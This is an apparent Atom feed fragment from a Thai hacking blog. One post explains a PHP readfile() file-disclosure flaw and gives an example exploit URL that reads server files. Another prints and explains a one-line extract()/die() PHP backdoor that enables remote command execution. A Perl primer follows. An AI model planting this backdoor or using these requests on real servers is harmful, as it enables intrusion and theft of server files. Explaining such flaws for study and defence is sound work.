&lt;br /&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1514793920321653896'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1514793920321653896'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2015/04/how-to-google.html' title='วิธีใช้ Google เพื่อหา สิ่งที่ต้องการ'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/pXISxFtWML8/default.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-1623593141125338571</id><published>2014-11-10T14:53:00.000+07:00</published><updated>2014-11-10T14:59:21.907+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="Programming"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Web"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนเขียน PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนเว็บ"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>ช่องโหว่ LFD PHP Function readfile();</title><content type='html'>&lt;br /&gt;
&lt;h2 class=&quot;_5clb&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;ช่องโหว่ PHP Function readfile();&lt;/span&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 class=&quot;_5clb&quot;&gt;
&amp;nbsp;&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmibrSLWS32vjnnMrhDuydt2V1c2YKFYVPOs0r3L_JlZRebOM1qW_dlL0WzEkwcnKSJW5qA9ceiMMp2PIv7NyDmNvOVF8DWZ8o2JbGCy8rVF4F1ccyovUPQr17yZQsVVM0RvnwoX9dhzzN/s1600/10306390_734496029957874_2613597610564356701_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmibrSLWS32vjnnMrhDuydt2V1c2YKFYVPOs0r3L_JlZRebOM1qW_dlL0WzEkwcnKSJW5qA9ceiMMp2PIv7NyDmNvOVF8DWZ8o2JbGCy8rVF4F1ccyovUPQr17yZQsVVM0RvnwoX9dhzzN/s1600/10306390_734496029957874_2613597610564356701_n.jpg&quot; height=&quot;235&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp; ในบทความนี้เกริ่นก่อนเลยว่าตู มั่วนิ่มในการอธิบาย 40% ตรงใหนอธิบายผิดหรือข้ามกรุณาช่วยกระซิบเบาๆที่ข้างหูผมด้วยนะ&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
 ไอ้ช่องโหว่นี้ เมื่อก่อนจะเห็นอยู่บ่อยๆ ในเว็บ Download ต่างๆ หรือ 
เว็บเอกสาร ซึ่งชื่อเทคนิคการแหกนี้ คือหนึ่งในเทคนิคของ LFI ( Local File 
Inclusion ) นอกจากนี้ยังมีฟังชั่น showssource() , highlight_file() ก็ใช้เปิดไฟล์ได้ ถ้ารับ user input ที่ไม่ได้ sanitize เข้าไปก็มีความเสี่ยงเกิด LFI ได้เหมือนกัน&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เมื่อก่อน (นานมาก) เคยคุยเรื่องนี้กับ &lt;b&gt;AK-1&lt;/b&gt;
 อยู่เนื่องๆ เพราะ ผมดูแล้วมันเป็นช่องโหว่ที่อันตรายมาก และ มักจะเกิดกับ
 เว็บที่เปิดให้ Download ไฟล์ต่างๆในเว็บ โดยที่ไม่ได้เขียน Code 
ให้รัดกุม จนทำให้สามารถ Download ไฟล์อื่น ที่อยู่ในเซิฟเวอร์ออกมาอ่านได้&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;
 ไอ้ช่องโหว่นี้เกิดจากการใช้ ฟังชั่น readfile() ของ PHP 
ในการเขียนไฟล์สำหรับ Download ของเว็บ (นอกจากฟังช้่น readfile() แล้วก็มี
 อันอื่นอีก) จาก Code ในภาพ จะเห็นว่า บรรทัดที่ 3 จะกำหนด 
ตัวแปรที่ชื่อว่า $filename กำหนด Method เป็น GET และ Parameter 
ที่ชื่อว่า path ซึ่งจะสามารถรับค่า ที่จะ Download ไฟล์ออกมา (สามารถกำหนด
 พาธ ไฟล์ที่จะโหลดได้อย่าง ( /etc/passwd )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; 
ในส่วนต่างๆของโค้ดจะเป็นการกำหนด Header ให้เบราเซอร์รู้ว่าเป็นการ 
Downlaod อันนี้เอาไปศึกษาเองนะ (ง่วงแล้ว)&amp;nbsp; เรามาดูในส่วนสำคัญกันดีกว่า 
ในบรรทัดที่ 30 จะเห็นว่ามีการเรียกใช้ ฟังชั่น readfile(); ซึ่ง ฟังชั่น 
readfile() นี้ คล้ายๆ ฟังชั่น fopen() คือการเอาไฟล์ที่ถูกกำหนดจาก 
Parameter มาอ่าน หากดูใน Code ดังภาพแล้ว จะเห็นว่าฟังชั่น 
readfile($filename); กำหนดให้ ดึงค่าจากตัวแปร $filename ออกมาใช้ 
จะสามารถใช้งานเพื่อ Downlaod เอกสาร หรือ ไฟล์ต่างๆในเซิฟเวอร์ออกมาได้&lt;br /&gt;
&lt;br /&gt;
การใช้งานจากช่องโหว่ Code ข้างต้น&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;Exploit : 127.0.0.1/load.php?path=/var/www/access.log&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKdxy7BD6Y28UNah77ERMGTvbYQktdBPT59RztjDclnZLN4JVJI-88Hy9aO_xQTSOyLWGmVMAwVfp0UEhsB0uOD2nw0skuKhdUI70yVWN7Kzh-jsmhas8pqqaRIDGZxruzk1pws1DxQsla/s1600/10313749_734532443287566_3621698561697136733_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKdxy7BD6Y28UNah77ERMGTvbYQktdBPT59RztjDclnZLN4JVJI-88Hy9aO_xQTSOyLWGmVMAwVfp0UEhsB0uOD2nw0skuKhdUI70yVWN7Kzh-jsmhas8pqqaRIDGZxruzk1pws1DxQsla/s1600/10313749_734532443287566_3621698561697136733_n.jpg&quot; height=&quot;293&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;#จะก๊อปก็เอาเครดิตไปด้วยนะสลัด ด้วยรัก และ ฟัคยู&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;ที่มา :&lt;/span&gt;&lt;/b&gt; &lt;a href=&quot;https://www.facebook.com/notes/tawan-naultang/%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88-php-function-readfile/734494709958006&quot;&gt;https://www.facebook.com/notes/tawan-naultang/%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88-php-function-readfile/734494709958006&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1623593141125338571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1623593141125338571'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2014/11/exploit-local-file-disclosure.html' title='ช่องโหว่ LFD PHP Function readfile();'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmibrSLWS32vjnnMrhDuydt2V1c2YKFYVPOs0r3L_JlZRebOM1qW_dlL0WzEkwcnKSJW5qA9ceiMMp2PIv7NyDmNvOVF8DWZ8o2JbGCy8rVF4F1ccyovUPQr17yZQsVVM0RvnwoX9dhzzN/s72-c/10306390_734496029957874_2613597610564356701_n.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-2064111784655108822</id><published>2014-02-27T22:35:00.000+07:00</published><updated>2014-02-27T22:41:33.855+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Web"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>ช่องโหว่ RCE ในฟังชั่น Extract PHP</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjTM8uX2NAnW2RqOYDzr5Fd5YQICRaAjwldBCLEWj4v701c6nTZVWnU1EQNO-0Aq_9Jnbo5ZF7uMuqS77ktxfgM9u8hy9DOY1Xr4Rc36Drt9JQJkE45OiKQ-Wkp27G_jf6vLUug6kYfLKA/s1600/php.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjTM8uX2NAnW2RqOYDzr5Fd5YQICRaAjwldBCLEWj4v701c6nTZVWnU1EQNO-0Aq_9Jnbo5ZF7uMuqS77ktxfgM9u8hy9DOY1Xr4Rc36Drt9JQJkE45OiKQ-Wkp27G_jf6vLUug6kYfLKA/s1600/php.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
จากบทความ ช่องโหว่ extract function ที่เรียกใช้ Commend ใน Function PHP  จะเห็นบ่อยๆใน code ของ developer ในสมัย PHP 4.x&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;จากโค้ด&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php @extract ($_REQUEST); @die ($ctime($atime)); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
extract
 จะเหมือนกับว่า ไปดึง $_REQUEST มาใช้ ซึ่ง $_REQUEST นี่ 
เป็นตัวแปรที่สร้างขึ้นไว้ในไฟล์ PHP หรือภาษา Script อื่นๆ 
ที่มีการสร้างขึ้นมาเพื่อใช้ ในการรับค่าของตัวแปร method 
หรือวิธีการที่ใช้ส่งข้อมูลทั้งสองแบบ คือ GET และ POST โดย $_REQUEST 
จะสามารถเข้าถึงค่าข้อมูลได้โดยไม่จำเป็นต้องระบุว่าเป็น method เท่านั้น&lt;br /&gt;
&lt;br /&gt;
และ die เป็นฟังชั่นใน PHP ที่สามารถเขียนอะไรลงไปก็ได้&lt;br /&gt;
&lt;br /&gt;
ดูจากภาพด้านล่าง&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLvVlL_iQmSrYspyFiX_ezKHWiCwCHWO0kcQUkuAgXRVbbcnZYcMHqQ-89Pak4a29OCEP9qRq8KOKWprvzwNXTqFqOm3iM9nZ3lWnlN_oyK2pinXHtuencYjJmUAp28zxR_BRObPbyvk7z/s1600/1904096_595422667198545_1625534300_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLvVlL_iQmSrYspyFiX_ezKHWiCwCHWO0kcQUkuAgXRVbbcnZYcMHqQ-89Pak4a29OCEP9qRq8KOKWprvzwNXTqFqOm3iM9nZ3lWnlN_oyK2pinXHtuencYjJmUAp28zxR_BRObPbyvk7z/s1600/1904096_595422667198545_1625534300_n.jpg&quot; height=&quot;165&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; ตัวแปร $ctime และ $atime หาก ctime เป็น system แล้ว atime เป็น คำสั่ง Command ก็จะสามารถเรียกใช้ Command line หรือ CMD ได้&lt;br /&gt;
&lt;br /&gt;
สรุป Hacker จะสามารถทำ remote command execution ได้ ตุบตั๊บ เซิฟเวอร์โดน แฮค&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
บทความ extract function PHP : &lt;a href=&quot;http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;เครดิต :&lt;/span&gt;&lt;/b&gt;&lt;/span&gt; &lt;a href=&quot;https://www.facebook.com/notes/tawan-naultang/php-backdoors-extract-function/512875195453293&quot;&gt;https://www.facebook.com/notes/tawan-naultang/php-backdoors-extract-function/512875195453293&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/2064111784655108822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/2064111784655108822'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2014/02/php-backdoor-extract-function.html' title='ช่องโหว่ RCE ในฟังชั่น Extract PHP'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjTM8uX2NAnW2RqOYDzr5Fd5YQICRaAjwldBCLEWj4v701c6nTZVWnU1EQNO-0Aq_9Jnbo5ZF7uMuqS77ktxfgM9u8hy9DOY1Xr4Rc36Drt9JQJkE45OiKQ-Wkp27G_jf6vLUug6kYfLKA/s72-c/php.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-8140006156795516678</id><published>2014-02-07T10:20:00.000+07:00</published><updated>2014-02-07T10:20:47.642+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="Perl"/><category scheme="http://www.blogger.com/atom/ns#" term="Programming"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนเว็บ"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนโปรแกรม"/><title type='text'>การเขียนภาษา Perl เบื้องต้น</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByQgjSdMDsSEFAAV1ejaiYW0WtTi8EQyRkr-DEPu_FV_DFUHebjylJbT86ZggavbiR8LuTkXJaN778iGzajWo_Nt5d2o0v4RMYH-WjOyXiL-oMOf0EJCHS4gCLOozS1yzyVQendLxp5Bb/s1600/Untitled-1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByQgjSdMDsSEFAAV1ejaiYW0WtTi8EQyRkr-DEPu_FV_DFUHebjylJbT86ZggavbiR8LuTkXJaN778iGzajWo_Nt5d2o0v4RMYH-WjOyXiL-oMOf0EJCHS4gCLOozS1yzyVQendLxp5Bb/s1600/Untitled-1.jpg&quot; height=&quot;250&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&amp;nbsp;ภาษา Perl คือ&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; ภาษา Perl เป็็นภาษาทีี่ใช้้ตัวแปรภาษาแบบ Interpreter ซึ่งก็คือจะทำการรัน&lt;br /&gt;
คำสั่งและแปลความหมายทีละบรรทัด ซึ่งแตกต่างจากตัวแปลภาษาแบบ&lt;br /&gt;
Complier เช่่น ภาษาซี เป็น็ ต้้น โดยในการรันภาษา Perl ทำได้  2 วิธี คือ&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;b&gt;วิธีที่ 1 : รันจากจาก Interpreter โดยตรง เช่น&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;#perl myfile.pl&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;วิธีที่ 2 : รันผ่านโปรแกรม ShellRun ซึ่งในการรันแบบนี้ ในบรรทัด&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
อย่างแรกจะต้องบอกที่อยู่ของ Perl Interpreter ก่อน ซึ่งการใส่บรรทัดแรกนี้&lt;br /&gt;
มีชื่อเรียกว่า “Shebang” ซึ่ง Shebang จะต้องประกาศในบรรทัดแรก&lt;br /&gt;
ของ SourceCode&lt;br /&gt;
ก่อน ซึ่งการใส่บรรทัดแรกนี้&lt;br /&gt;
มีชื่อเรียกว่า “Shebang” ซึ่ง Shebang จะต้องประกาศในบรรทัดแรก&lt;br /&gt;
ของ SourceCode&lt;br /&gt;
THE SHEBANG&lt;br /&gt;
ส่่วนหัวของไฟล์ใ์ในกรณีเขียนแบบ Shebang จะต้้องเพิิ่มดังนีี้&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;span style=&quot;color: lime;&quot;&gt;#!/usr/bin/perl&lt;/span&gt; หรือ &lt;span style=&quot;color: lime;&quot;&gt;#!/usr/bin/env perl&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
ในการตรวจสอบเวอร์ชั่นของ Perl สามารถใชค้คำาสั่ง&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;span style=&quot;color: lime;&quot;&gt;#perl –v&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; นอกจากนี้ ในกรณีที่รัน Perl แบบ Shebang จำเป็นที่จะต้องแจ้ง&lt;br /&gt;
ให้ระบบปฏิบัติการสามารถ Execute File ได้ โดยใช้คำสั่ง chmod&lt;br /&gt;
โดยที่เปลี่ยนสิทธิ เฉพาะ Owner ให้สามารถ Execute File ได้ก็&lt;br /&gt;
เพียงพอ&lt;br /&gt;
โครงสร้า้งการเขียน PERL SCRIPT&lt;br /&gt;
&lt;br /&gt;
ทุกประโยค (Statement) ต้้องปิดท้้ายด้้วยเครืื่องหมาย&amp;nbsp; ;&amp;nbsp; (semicolon)&lt;br /&gt;
ฟังก์ชั่นและตัวแปร เป็นแบบ Case Sensitive&lt;br /&gt;
&amp;nbsp; การเขียนหมายเหตุ (Comments) สามารถใช้เครื่องหมาย “ # ” ที่ต้น&lt;br /&gt;
&lt;br /&gt;
ข้อความ และจะมีผลไปถึงจนจบบรรทัด&lt;br /&gt;
ห้ามใช้เครื่องหมาย&amp;nbsp; //&amp;nbsp; หรือ&amp;nbsp; /* … */&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Perl จะไม่แสดงข้อผิดพลาด หรือคำเตือนใดๆ (Warning) จนกว่า&lt;br /&gt;
ผู้้ใช้จ้ ะเพิิ่มคำสั่ง use warnings; หรือ –w ที่ออบชั่นของ Shebang&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;#!/usr/bin/perl -w&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
การประกาศตัวแปร (VARIABLE DECLARATIONS)&lt;br /&gt;
&lt;br /&gt;
ภาษา Perl ไม่จำเป็็นต้้องประกาศตัวแปร แต่ถ้้าต้้องการให้้ Perl มี&lt;br /&gt;
การบังคับให้ต้องมีการประกาศตัวแปรก็สามารถทำได้ โดยใช้&lt;br /&gt;
คำสั่ง&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; use strict; #ประกาศครั้งเดียว&lt;br /&gt;
&amp;nbsp;&amp;nbsp; my &amp;lt;ชื่อตัวแปร&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
ชนิดของตัวแปร (VARIABLES TYPE)&lt;br /&gt;
&amp;nbsp;ตัวแปรพื้นฐานแบ่งออกเปน็็ 3 ชนิด หลักๆ ไดแ้้ก่&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Scalar&lt;br /&gt;
&amp;nbsp;Array&lt;br /&gt;
&amp;nbsp;Hash&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;ตัวแปรชนิด SCALARS&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;ตัวแปรชนิด Scalars คือ ตัวแปรที่สามารถเก็บค่าได้้เพียงค่าเดียว&lt;br /&gt;
เท่านั้นในหนึ่งตัวแปรในภาษา C/C++ มีตัวแปรชนิด Scalars อยู่หลายชนิดได้แก่&lt;br /&gt;
&amp;nbsp;int, float, double, char, bool&lt;br /&gt;
ซึ่งตัวแปร Scalars ในภาษา Perl สามารถที่เก็บข้อมูลได้หลายชนิด&lt;br /&gt;
เช่น จำนวนเต็ม (Integer), ทศนิยม (Floating-Point) และอื่นๆ เป็น&lt;br /&gt;
ต้น&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;ตัวแปรชนิด SCALARS&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
ตัวแปรชนิด Scalar จะขึ้นต้้นด้้วยเครื่องหมาย “ $ ” ตัวอักขระถัด&lt;br /&gt;
จากเครื่องหมาย $ สามารถเป็นได้ทั้งตัวอักษร a-z, A-Z และ “ _ ”&lt;br /&gt;
(UnderScore) ต่อจากตั้นสามารถเป็นได้ทั้งตัวอักษร a-z, A-Z และ&lt;br /&gt;
“ _ ” (UnderScore) และตัวเลขซึ่งจะเหมือนกับการประกาศตัว&lt;br /&gt;
แปรในภาษาซีเว้นแต่จะมีเครื่องหมาย $ ขึ้นต้น&lt;br /&gt;
ชื่อตัวแปรมีความยาวได้ตัั้งแต่่ 1 ถึง 251 ตัวอักษร&lt;br /&gt;
เช่น $foo, $a, $zebra1, $F87dr_df3&lt;br /&gt;
ตัวอย่างการประกาศตัวแปรที่ผิด&lt;br /&gt;
&lt;br /&gt;
$24da, $hi&amp;amp;bye, $bar$foo&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;การกำหนด่า่ ตัวแปร&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
$foo = 3;&lt;br /&gt;
$d = 4.43;&lt;br /&gt;
$temp = ‘Z’;&lt;br /&gt;
$My_String = “Hello, I’m Paul.”&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;ตัวแปร LISTS&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
ตัวแปร List มาจากตัวเต็มว่า่ “list literal” ซึ่งเป็็นตัวแปรทีี่มีการจัดเก็บค่า่&lt;br /&gt;
แบบเรียงลำดับไว้ ซึ่งถูกคั่นด้วยเครื่องหมาย “ , ”&lt;br /&gt;
ตัวแปร List สามารถเก็บตัวเลขหรือข้อ้ มูลอืื่นๆ เช่่น&lt;br /&gt;
&lt;br /&gt;
(43, “Hello World”, 3.1415)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;การกำหนดค่าให้กับตัวแปร Lists สามารถกำหนดค่าได้หลายๆ ค่า พร้อม&lt;br /&gt;
กันเช่น&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;($a, $b, $c) = (42, “Foo bar”, $size);&lt;br /&gt;
โดยที่ $a 42, $b “Foo bar”, $c $size&lt;br /&gt;
&lt;br /&gt;
ตัวแปร List สามารถกำหนดได้โดยใช้ช่วงข้อมูล (Range)&lt;br /&gt;
&lt;br /&gt;
($a, $b, $c, $d, $e) = (1..4, 10);&lt;br /&gt;
($x, $y, $z) = (“a” .. “c”);&lt;br /&gt;
&lt;br /&gt;
การกำหนดค่า่ ให้กัั้บตัวแปร LIST&lt;br /&gt;
&amp;nbsp;ทั้งสองด้้านของเครืื่องหมาย “ = ” ไม่จำเป็นตอ้งมีจำนวนขอ้้มูลทั้งด้้านซ้้าย และขวาที่เท่ากัน เช่น&lt;br /&gt;
&lt;br /&gt;
($a, $b, $c) = (5, 10, 15, 20);&lt;br /&gt;
โดยที่ $a 5, $b 10, $c 15. (20 ไม่ถูู่กกำหนด)&lt;br /&gt;
&lt;br /&gt;
($a, $b, $c) = (5, 10);&lt;br /&gt;
โดยที่ $a 5, $b 10, $c ไม่กำหนดค่า&lt;br /&gt;
&lt;br /&gt;
($t1, $t2) = ($t2, $t1);&lt;br /&gt;
โดยที่ $temp = $t1; $t1 = $t2; $t2 = $temp;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;ตัวแปร ARRAYS&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;ตัวแปร Arrays ในภาษา Perl จะมีความยืดหยุ่นกว่าในภาษา&lt;br /&gt;
C/C++ คือ ไม่ต้องกำหนดขนาด Array หรือชนิดของตัวแปร ภายในตัวแปร Array สามารถ จัดเก็บข้อ มูลได้้หลายชนิด เช่่น&lt;br /&gt;
&lt;br /&gt;
เก็บค่าตัวเลข และตัวอักษร ในตัวแปร Array เดียวกันได้&lt;br /&gt;
&amp;nbsp;ตัวแปร Array จะขึ้นต้นด้วยเครื่องหมาย “@” เช่น&lt;br /&gt;
@array, @foo, @My_Array, @temp34&lt;br /&gt;
การกำหนดค่า่ ให้กัั้บตัวแปร ARRAY&lt;br /&gt;
&amp;nbsp;@foo = (1, 2, 3, 4);&lt;br /&gt;
&amp;nbsp;@bar=(“my”,“name”,“is”,“Paul”);&lt;br /&gt;
&amp;nbsp;@temp = (34, ‘z’, “Hi!”, 43.12);&lt;br /&gt;
&amp;nbsp;$let = $temp[1]; # $let is now ‘z’&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; ถ้าต้องการนำค่าเข้าและออกค่าเดียวออกจาก ตัวแปร Array ให้&lt;br /&gt;
ใช้เครื่องหมาย $ แทน @&lt;br /&gt;
&amp;nbsp; $bar[2] = “was”;&lt;br /&gt;
&amp;nbsp; @bar now &amp;nbsp; (“my”, “name”, “was”, “Paul”);&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;LISTS ของตัวแปร ARRAYS&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;ตัวแปร Arrays ที่อยู่ด้้านซ้้ายของเครื่องหมายเท่ากับ จะเก็บค่าที่อยู่&lt;br /&gt;
ด้านขวาของเครื่องหมายเท่ากับ&lt;br /&gt;
&lt;br /&gt;
($foo, @bar, $baz)=(1, 2, 3, 4, 5, 6); &lt;br /&gt;
โดยที่ $foo=1; @bar=(2, 3, 4, 5, 6); $baz=undef;&lt;br /&gt;
&lt;br /&gt;
การเชื่อมต่อตัวแปร Array ด้วยตัวแปร Arrays&lt;br /&gt;
@a1 = (1, 2, 3); @a2 = (4, 5, 6);&lt;br /&gt;
@a3 = (@a1, @a2);&lt;br /&gt;
@a3&amp;nbsp; (1, 2, 3, 4, 5, 6)&lt;br /&gt;
&lt;br /&gt;
เพิ่มเติมเกี่ยวกับตัวแปร ARRAYS&lt;br /&gt;
